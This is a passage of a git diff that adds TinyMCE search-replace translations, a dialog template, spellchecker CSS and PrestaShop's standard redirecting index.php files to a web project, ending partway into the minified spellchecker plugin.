el\u0151fordul\u00e1sa cser\u00e9lve lett.","searchnext_desc":"Keres\u00e9s megint",notfound:"A keres\u00e9s v\u00e9get \u00e9rt. A keresett sz\u00f6vegr\u00e9sz nem tal\u00e1lhat\u00f3.","search_title":"Keres\u00e9s","replace_title":"Keres\u00e9s/Csere",replaceall:"\u00d6sszes cser\u00e9je",replace:"Csere"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/id_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/id_dlg.js new file mode 100755 index 0000000..3d6ce65 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.searchreplace_dlg',{findwhat:"Cari apa...",replacewith:"Ganti dengan...",direction:"Arah",up:"Atas",down:"Bawah",mcase:"Match case",findnext:"Cari selanjutnya",allreplaced:"Seluruh kata dari string pencarian telah digantikan","searchnext_desc":"Cari Lagi",notfound:"Pencarian selesai. Hasil tidak ditemukan.","search_title":"Cari","replace_title":"Cari/Ganti",replaceall:"Ganti semua",replace:"Ganti"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/index.php b/js/tiny_mce/plugins/searchreplace/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/searchreplace/langs/it_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/it_dlg.js new file mode 100755 index 0000000..da34e5d --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.searchreplace_dlg',{findwhat:"Trova:",replacewith:"Sostituisci con:",direction:"Direzione",up:"Avanti",down:"Indietro",mcase:"Maiuscole/minuscole",findnext:"Trova succ.",allreplaced:"Tutte le occorrenze del criterio di ricerca sono state sostituite.","searchnext_desc":"Trova successivo",notfound:"Ricerca completata. Nessun risultato trovato.","search_title":"Trova","replace_title":"Trova/Sostituisci",replaceall:"Sost. tutto",replace:"Sostituisci"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/ja_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/ja_dlg.js new file mode 100755 index 0000000..49adb0c --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.searchreplace_dlg',{findwhat:"\u691c\u7d22\u3059\u308b\u6587\u5b57\u5217",replacewith:"\u7f6e\u63db\u5f8c\u306e\u6587\u5b57\u5217",direction:"\u65b9\u5411",up:"\u4e0a\u3078",down:"\u4e0b\u3078",mcase:"\u5927\u6587\u5b57\u30fb\u5c0f\u6587\u5b57\u306e\u533a\u5225",findnext:"\u6b21\u3092\u691c\u7d22",allreplaced:"\u3059\u3079\u3066\u7f6e\u63db\u3057\u307e\u3057\u305f\u3002","searchnext_desc":"\u518d\u691c\u7d22",notfound:"\u691c\u7d22\u3092\u5b8c\u4e86\u3057\u307e\u3057\u305f\u3002\u691c\u7d22\u6587\u5b57\u5217\u306f\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u3002","search_title":"\u691c\u7d22","replace_title":"\u691c\u7d22/\u7f6e\u63db",replaceall:"\u3059\u3079\u3066\u7f6e\u63db",replace:"\u7f6e\u63db"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/ka_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/ka_dlg.js new file mode 100755 index 0000000..fdf508f --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.searchreplace_dlg',{findwhat:"\u10eb\u10d4\u10d5\u10dc\u10d0",replacewith:"\u10e8\u10d4\u10ea\u10d5\u10da\u10d0 ..",direction:"\u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0",up:"\u10d6\u10d4\u10db\u10dd\u10d7 ",down:"\u10e5\u10d5\u10d4\u10db\u10dd\u10d7",mcase:"\u10e0\u10d4\u10d2\u10d8\u10e1\u10e2\u10e0\u10d8\u10e1 \u10d2\u10d0\u10d7\u10d5\u10d0\u10da\u10d8\u10e1\u10ec\u10d8\u10dc\u10d4\u10d1\u10d0",findnext:"\u10d8\u10de\u10dd\u10d5\u10dc\u10d4 \u10e8\u10d4\u10db\u10d3\u10d4\u10d2",allreplaced:"\u10e7\u10d5\u10d4\u10da\u10d0 \u10db\u10dc\u10d8\u10e8\u10dc\u10d4\u10da\u10dd\u10d1\u10d0 \u10e8\u10d4\u10ea\u10d5\u10da\u10d8\u10da\u10d8\u10d0.","searchnext_desc":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7 \u10de\u10dd\u10d5\u10dc\u10d0",notfound:"\u10eb\u10d4\u10d1\u10dc\u10d0 \u10d3\u10d0\u10e1\u10e0\u10e3\u10da\u10d4\u10d1\u10e3\u10da\u10d8\u10d0. \u10e8\u10d4\u10e1\u10d0\u10e2\u10e7\u10d5\u10d8\u10e1\u10d1\u10d8 \u10d0\u10e0 \u10d0\u10e0\u10d8\u10e1 \u10dc\u10d0\u10de\u10dd\u10d5\u10dc\u10d8.","search_title":"\u10eb\u10d8\u10d4\u10d1\u10d0","replace_title":"\u10db\u10dd\u10eb\u10d4\u10d1\u10dc\u10d0 \u10d3\u10d0 \u10e8\u10d4\u10ea\u10d5\u10da\u10d0",replaceall:"\u10e7\u10d5\u10d4\u10da\u10d0\u10e4\u10d4\u10e0\u10d8\u10e1 \u10e8\u10d4\u10ea\u10d5\u10da\u10d0",replace:"\u10e8\u10d4\u10ea\u10d5\u10da\u10d0"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/ko_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/ko_dlg.js new file mode 100755 index 0000000..6391723 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.searchreplace_dlg',{findwhat:"\uac80\uc0c9 \ubb38\uc790\uc5f4",replacewith:"\uce58\ud658 \ubb38\uc790\uc5f4",direction:"\ubc29\ud5a5",up:"\uc704\uc5d0",down:"\uc544\ub798\uc5d0",mcase:"\ub300\ubb38\uc790/\uc18c\ubb38\uc790\ub97c \uad6c\ubcc4",findnext:"\uac80\uc0c9",allreplaced:"\ubaa8\ub450 \uce58\ud658\ub418\uc5c8\uc2b5\ub2c8\ub2e4.","searchnext_desc":"\uc7ac\uac80\uc0c9",notfound:"\uac80\uc0c9\uc774 \uc644\ub8cc\ud588\uc2b5\ub2c8\ub2e4. \uac80\uc0c9 \ubb38\uc790\uc5f4\uc740 \ubc1c\uacac\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.","search_title":"\uac80\uc0c9","replace_title":"\uac80\uc0c9/\uce58\ud658",replaceall:"\ubaa8\ub450 \uce58\ud658",replace:"\uce58\ud658"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/lt_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/lt_dlg.js new file mode 100755 index 0000000..bc35477 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.searchreplace_dlg',{findwhat:"Ko ie\u0161koti",replacewith:"Kuo pakeisti",direction:"Kryptis",up:"\u012e vir\u0161\u0173",down:"\u012e apa\u010di\u0105",mcase:"Visi\u0161kas atitikimas",findnext:"Ie\u0161koti sek.",allreplaced:"Visi paie\u0161kos fraz\u0117s pasikartojimai pakeisti.","searchnext_desc":"Ie\u0161koti dar kart\u0105",notfound:"Paie\u0161ka baigta. Paie\u0161kos fraz\u0117 nerasta.","search_title":"Ie\u0161koti","replace_title":"Ie\u0161koti/Pakeisti",replaceall:"Pakeisti visus",replace:"Pakeisti"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/nl_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/nl_dlg.js new file mode 100755 index 0000000..afda5f0 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.searchreplace_dlg',{findwhat:"Zoeken naar",replacewith:"Vervangen door",direction:"Richting",up:"Omhoog",down:"Omlaag",mcase:"Identieke hoofdletters/kleine letters",findnext:"Zoeken",allreplaced:"Alle instanties van de zoekterm zijn vervangen.","searchnext_desc":"Opnieuw zoeken",notfound:"Het doorzoeken is voltooid. De zoekterm kon niet meer worden gevonden.","search_title":"Zoeken","replace_title":"Zoeken/Vervangen",replaceall:"Alles verv.",replace:"Vervangen"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/no_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/no_dlg.js new file mode 100755 index 0000000..a623c93 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.searchreplace_dlg',{findwhat:"Finn hva",replacewith:"Erstatt med",direction:"Retning",up:"Oppover",down:"Nedover",mcase:"Skille mellom store og sm\u00e5 bokstaver",findnext:"Finn neste",allreplaced:"Alle forekomster av s\u00f8kestrengen er erstattet.","searchnext_desc":"S\u00f8k igjen",notfound:"S\u00f8ket avsluttet. Fant ikke s\u00f8kestrengen.","search_title":"S\u00f8k","replace_title":"S\u00f8k/Erstatt",replaceall:"Erstatt alle",replace:"Erstatt"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/pl_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/pl_dlg.js new file mode 100755 index 0000000..df815de --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.searchreplace_dlg',{findwhat:"Znajd\u017a...",replacewith:"Zamie\u0144 na...",direction:"Kierunek",up:"W g\u00f3r\u0119",down:"W d\u00f3\u0142",mcase:"Uwzgl\u0119dniaj wielko\u015b\u0107 liter",findnext:"Znajd\u017a nast\u0119pny",allreplaced:"Wszystkie wyst\u0105pienia szukanego fragmentu zosta\u0142y zast\u0105pione.","searchnext_desc":"Znajd\u017a ponownie",notfound:"Wyszukiwanie zako\u0144czone. Poszukiwany fragment nie zosta\u0142 znaleziony.","search_title":"Znajd\u017a","replace_title":"Znajd\u017a/zamie\u0144",replaceall:"Zamie\u0144 wszystko",replace:"Zamie\u0144"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/pt_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/pt_dlg.js new file mode 100755 index 0000000..25c9a42 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.searchreplace_dlg',{findwhat:"Localizar",replacewith:"Substituir com",direction:"Dire\u00e7\u00e3o",up:"Acima",down:"Abaixo",mcase:"Diferenciar mai\u00fasculas",findnext:"Localizar pr\u00f3x.",allreplaced:"Todas as substitui\u00e7\u00f5es foram efetuadas.","searchnext_desc":"Localizar novamente",notfound:"A pesquisa foi conclu\u00edda sem resultados.","search_title":"Localizar","replace_title":"Localizar/substituir",replaceall:"Subst. todos",replace:"Substituir"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/ro_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/ro_dlg.js new file mode 100755 index 0000000..d076707 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.searchreplace_dlg',{findwhat:"Termen c\u0103utat:",replacewith:"\u00cenlocuie\u0219te cu:",direction:"Direc\u021bia",up:"\u00cen sus",down:"\u00cen jos",mcase:"Conteaz\u0103 literele mici/mari?",findnext:"Mai caut\u0103",allreplaced:"Toate instan\u021bele termenului c\u0103utat au fost \u00eenlocuite.","searchnext_desc":"Caut\u0103 din nou",notfound:"C\u0103utarea a fost terminat\u0103. Nu am g\u0103sit termenul c\u0103utat.","search_title":"Caut\u0103","replace_title":"C\u0103utare/\u00eenlocuire",replaceall:"\u00cenlocuie\u0219te tot",replace:"\u00cenlocuie\u0219te"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/ru_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/ru_dlg.js new file mode 100755 index 0000000..3cc2af8 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.searchreplace_dlg',{findwhat:"\u041f\u043e\u0438\u0441\u043a",replacewith:"\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430",direction:"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435",up:"\u0412\u0432\u0435\u0440\u0445 ",down:"\u0412\u043d\u0438\u0437",mcase:"\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0440\u0435\u0433\u0438\u0441\u0442\u0440",findnext:"\u041d\u0430\u0439\u0442\u0438 \u0434\u0430\u043b\u0435\u0435",allreplaced:"\u0412\u0441\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0431\u044b\u043b\u0438 \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u044b.","searchnext_desc":"\u041d\u0430\u0439\u0442\u0438 \u0435\u0449\u0435",notfound:"\u041f\u043e\u0438\u0441\u043a \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d. \u0421\u043e\u043e\u0442\u0432\u0435\u0441\u0442\u0432\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e.","search_title":"\u041f\u043e\u0438\u0441\u043a","replace_title":"\u041f\u043e\u0438\u0441\u043a \u0438 \u0437\u0430\u043c\u0435\u043d\u0430",replaceall:"\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435",replace:"\u0417\u0430\u043c\u0435\u043d\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/sk_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/sk_dlg.js new file mode 100755 index 0000000..5698886 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.searchreplace_dlg',{findwhat:"H\u013eada\u0165 \u010do",replacewith:"Nahradi\u0165 \u010d\u00edm",direction:"Smer",up:"Nahor",down:"Nadol",mcase:"Rozli\u0161ova\u0165 mal\u00e9 a VE\u013dK\u00c9 p\u00edsmen\u00e1",findnext:"H\u013eada\u0165 \u010falej",allreplaced:"V\u0161etky v\u00fdskyty boli nahraden\u00e9.","searchnext_desc":"H\u013eada\u0165 \u010falej",notfound:"H\u013eadanie bolo dokon\u010den\u00e9. H\u013eadan\u00fd text nebol n\u00e1jden\u00fd.","search_title":"H\u013eada\u0165","replace_title":"H\u013eada\u0165 a nahradi\u0165",replaceall:"Nahradi\u0165 v\u0161etko",replace:"Nahradi\u0165"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/sl_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/sl_dlg.js new file mode 100755 index 0000000..828fc64 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.searchreplace_dlg',{findwhat:"I\u0161\u010dem za",replacewith:"Zamenjam z",direction:"Smer",up:"navzgor",down:"navzdol",mcase:"ujemanje velikosti",findnext:"Najdi nasled.",allreplaced:"Vse pojavitve iskanega besedila so bile zamenjane.","searchnext_desc":"Najdi znova",notfound:"Preiskovanje zaklju\u010deno. Iskanega besedila nisem na\u0161el.","search_title":"Najdi","replace_title":"Najdi/zamenjaj",replaceall:"Zamenjaj vse",replace:"Zamenjaj"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/sv_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/sv_dlg.js new file mode 100755 index 0000000..d503ec8 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.searchreplace_dlg',{findwhat:"Hitta vad",replacewith:"Ers\u00e4tt med",direction:"Riktning",up:"Upp\u00e5t",down:"Ner\u00e5t",mcase:"Matcha gemener/versaler",findnext:"Hitta n\u00e4sta",allreplaced:"Alla st\u00e4llen d\u00e4r s\u00f6kstr\u00e4ngen kunde hittas har ersatts.","searchnext_desc":"S\u00f6k igen",notfound:"S\u00f6kningen har slutf\u00f6rts. S\u00f6kstr\u00e4ngen kunde inte hittas.","search_title":"S\u00f6k","replace_title":"S\u00f6k/ers\u00e4tt",replaceall:"Ers\u00e4tt alla",replace:"Ers\u00e4tt"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/th_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/th_dlg.js new file mode 100755 index 0000000..cd02e18 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.searchreplace_dlg',{findwhat:"\u0e04\u0e49\u0e19\u0e2b\u0e32",replacewith:"\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e14\u0e49\u0e27\u0e22",direction:"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07",up:"\u0e1a\u0e19",down:"\u0e25\u0e48\u0e32\u0e07",mcase:"\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e17\u0e38\u0e01\u0e2d\u0e22\u0e48\u0e32\u0e07",findnext:"\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e15\u0e48\u0e2d\u0e44\u0e1b",allreplaced:"\u0e17\u0e38\u0e01\u0e04\u0e33\u0e17\u0e35\u0e48\u0e43\u0e2a\u0e48\u0e16\u0e39\u0e01\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e41\u0e25\u0e49\u0e27","searchnext_desc":"\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e2d\u0e35\u0e01\u0e04\u0e23\u0e31\u0e49\u0e07",notfound:"\u0e01\u0e32\u0e23\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e2a\u0e34\u0e49\u0e19\u0e2a\u0e38\u0e14 \u0e40\u0e23\u0e32\u0e44\u0e21\u0e48\u0e1e\u0e1a\u0e2d\u0e30\u0e44\u0e23\u0e40\u0e25\u0e22","search_title":"\u0e04\u0e49\u0e19\u0e2b\u0e32","replace_title":"\u0e04\u0e49\u0e19\u0e2b\u0e32/\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48",replaceall:"\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",replace:"\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/tr_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/tr_dlg.js new file mode 100755 index 0000000..e5ef98c --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.searchreplace_dlg',{findwhat:"Aranan",replacewith:"Yeni de\u011fer",direction:"Y\u00f6n",up:"Yukar\u0131",down:"A\u015fa\u011f\u0131",mcase:"B\u00fcy\u00fck/k\u00fc\u00e7\u00fck duyarl\u0131",findnext:"Sonrakini bul",allreplaced:"Aranan metin bulundu\u011fu yerlede de\u011fi\u015ftirildi.","searchnext_desc":"Tekrar ara",notfound:"Arama tamamland\u0131. Aranan metin bulunamad\u0131.","search_title":"Bul","replace_title":"Bul/De\u011fi\u015ftir",replaceall:"T\u00fcm\u00fcn\u00fc de\u011fi\u015ftir",replace:"De\u011fi\u015ftir"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/tw_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/tw_dlg.js new file mode 100755 index 0000000..9b0894b --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.searchreplace_dlg',{findwhat:"\u641c\u5c0b\u76ee\u6a19",replacewith:"\u53d6\u4ee3\u70ba",direction:"\u65b9\u5411",up:"\u5411\u4e0a",down:"\u5411\u4e0b",mcase:"\u5340\u5206\u5927\u5c0f\u5beb",findnext:"\u5c0b\u627e\u4e0b\u4e00\u500b",allreplaced:"\u6240\u6709\u7b26\u5408\u7684\u5b57\u5143\u4e32\u5747\u5df2\u53d6\u4ee3\u3002","searchnext_desc":"\u7e7c\u7e8c\u641c\u5c0b",notfound:"\u641c\u5c0b\u5b8c\u7562\uff0c\u6c92\u6709\u627e\u5230\u7b26\u5408\u7684\u5b57\u5143\u4e32\u3002","search_title":"\u641c\u5c0b","replace_title":"\u641c\u5c0b/\u53d6\u4ee3",replaceall:"\u5168\u90e8\u53d6\u4ee3",replace:"\u53d6\u4ee3"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/uk_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/uk_dlg.js new file mode 100755 index 0000000..cdb46ab --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.searchreplace_dlg',{findwhat:"\u0417\u043d\u0430\u0439\u0442\u0438",replacewith:"\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438 \u043d\u0430",direction:"\u041d\u0430\u043f\u0440\u044f\u043c\u043e\u043a \u043f\u043e\u0448\u0443\u043a\u0443",up:"\u0412\u0433\u043e\u0440\u0443",down:"\u0412\u043d\u0438\u0437",mcase:"\u0412\u0440\u0430\u0445\u043e\u0432\u0443\u0432\u0430\u0442\u0438 \u0440\u0435\u0454\u0441\u0442\u0440",findnext:"\u0417\u043d\u0430\u0439\u0442\u0438 \u043d\u0430\u0441\u0442\u0443\u043f\u043d\u0435",allreplaced:"\u0412\u0441\u0456 \u0432\u0445\u043e\u0434\u0436\u0435\u043d\u043d\u044f \u0440\u044f\u0434\u043a\u0430 \u0431\u0443\u043b\u0438 \u0437\u0430\u043c\u0456\u043d\u0435\u043d\u0456.","searchnext_desc":"\u0417\u043d\u0430\u0439\u0442\u0438 \u0449\u0435",notfound:"\u041f\u043e\u0448\u0443\u043a \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u043e. \u041f\u043e\u0448\u0443\u043a\u043e\u0432\u0438\u0439 \u0440\u044f\u0434\u043e\u043a \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e.","search_title":"\u0428\u0443\u043a\u0430\u0442\u0438","replace_title":"\u0428\u0443\u043a\u0430\u0442\u0438/\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438",replaceall:"\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438 \u0432\u0441\u0435",replace:"\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/vi_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/vi_dlg.js new file mode 100755 index 0000000..f291ee7 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.searchreplace_dlg',{findwhat:"T\u00ecm ki\u1ebfm g\u00ec",replacewith:"Thay th\u1ebf v\u1edbi",direction:"H\u01b0\u1edbng",up:"L\u00ean",down:"Xu\u1ed1ng",mcase:"Theo c\u1ea3 ch\u1eef hoa",findnext:"T\u00ecm k\u1ebf ti\u1ebfp",allreplaced:"T\u1ea5t c\u1ea3 c\u00e1c l\u1ea7n xu\u1ea5t hi\u1ec7n c\u1ee7a c\u00e1c chu\u1ed7i t\u00ecm ki\u1ebfm \u0111\u01b0\u1ee3c thay th\u1ebf.","searchnext_desc":"T\u00ecm l\u1ea1i",notfound:"Vi\u1ec7c t\u00ecm ki\u1ebfm \u0111\u00e3 ho\u00e0n th\u00e0nh. Chu\u1ed7i t\u00ecm ki\u1ebfm kh\u00f4ng \u0111\u01b0\u1ee3c t\u00ecm th\u1ea5y.","search_title":"T\u00ecm ki\u1ebfm","replace_title":"T\u00ecm/Thay th\u1ebf",replaceall:"Thay th\u1ebf t\u1ea5t",replace:"Thay th\u1ebf"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/zh-cn_dlg.js new file mode 100755 index 0000000..8891247 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.searchreplace_dlg',{findwhat:"\u67e5\u627e\u76ee\u6807",replacewith:"\u66ff\u6362\u4e3a",direction:"\u67e5\u627e\u65b9\u5411",up:"\u5411\u4e0a",down:"\u5411\u4e0b",mcase:"\u533a\u5206\u5927\u5c0f\u5199",findnext:"\u67e5\u627e\u4e0b\u4e00\u4e2a",allreplaced:"\u6240\u6709\u51fa\u73b0\u7684\u5b57\u7b26\u5747\u5df2\u66ff\u6362\u3002","searchnext_desc":"\u7ee7\u7eed\u67e5\u627e",notfound:"\u67e5\u627e\u5b8c\u6210\uff0c\u672a\u627e\u5230\u7b26\u5408\u7684\u6587\u5b57\u3002","search_title":"\u67e5\u627e","replace_title":"\u67e5\u627e/\u66ff\u6362",replaceall:"\u5168\u90e8\u66ff\u6362",replace:"\u66ff\u6362"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/zh-tw_dlg.js new file mode 100755 index 0000000..f60db8e --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.searchreplace_dlg',{findwhat:"\u5c0b\u627e",replacewith:"\u53d6\u4ee3\u6210",direction:"\u5c0b\u627e\u7684\u65b9\u5411",up:"\u5f80\u4e0a\u627e",down:"\u5f80\u4e0b\u627e",mcase:"\u5927\u5c0f\u5beb\u5340\u5206\u958b\u4f86",findnext:"\u627e\u4e0b\u4e00\u500b",allreplaced:"\u53d6\u4ee3\u5b8c\u6210","searchnext_desc":"\u518d\u627e\u4e00\u6b21",notfound:"\u627e\u4e0d\u5230\u7b26\u5408\u7684\u8cc7\u6599","search_title":"\u5c0b\u627e","replace_title":"\u5c0b\u627e / \u53d6\u4ee3",replaceall:"\u5168\u90e8\u53d6\u4ee3",replace:"\u53d6\u4ee3"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/searchreplace.htm b/js/tiny_mce/plugins/searchreplace/searchreplace.htm new file mode 100755 index 0000000..bac5a18 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/searchreplace.htm @@ -0,0 +1,100 @@ + + + + {#searchreplace_dlg.replace_title} + + + + + + + + +
    + + +
    +
    + + + + + + + + + + + +
    + + + + + + + + + +
    + + + + + +
    +
    +
    + +
    + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    + + + + + +
    +
    +
    + +
    + +
    + + + + +
    +
    + + diff --git a/js/tiny_mce/plugins/spellchecker/css/content.css b/js/tiny_mce/plugins/spellchecker/css/content.css new file mode 100755 index 0000000..656ce1e --- /dev/null +++ b/js/tiny_mce/plugins/spellchecker/css/content.css @@ -0,0 +1 @@ +.mceItemHiddenSpellWord {background:url(../img/wline.gif) repeat-x bottom left; cursor:default;} diff --git a/js/tiny_mce/plugins/spellchecker/css/index.php b/js/tiny_mce/plugins/spellchecker/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/spellchecker/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/spellchecker/editor_plugin.js b/js/tiny_mce/plugins/spellchecker/editor_plugin.js new file mode 100755 index 0000000..71fbb68 --- /dev/null +++ b/js/tiny_mce/plugins/spellchecker/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.util.JSONRequest,c=tinymce.each,b=tinymce.DOM;tinymce.create("tinymce.plugins.SpellcheckerPlugin",{getInfo:function(){return{longname:"Spellchecker",author:"Moxiecode Systems 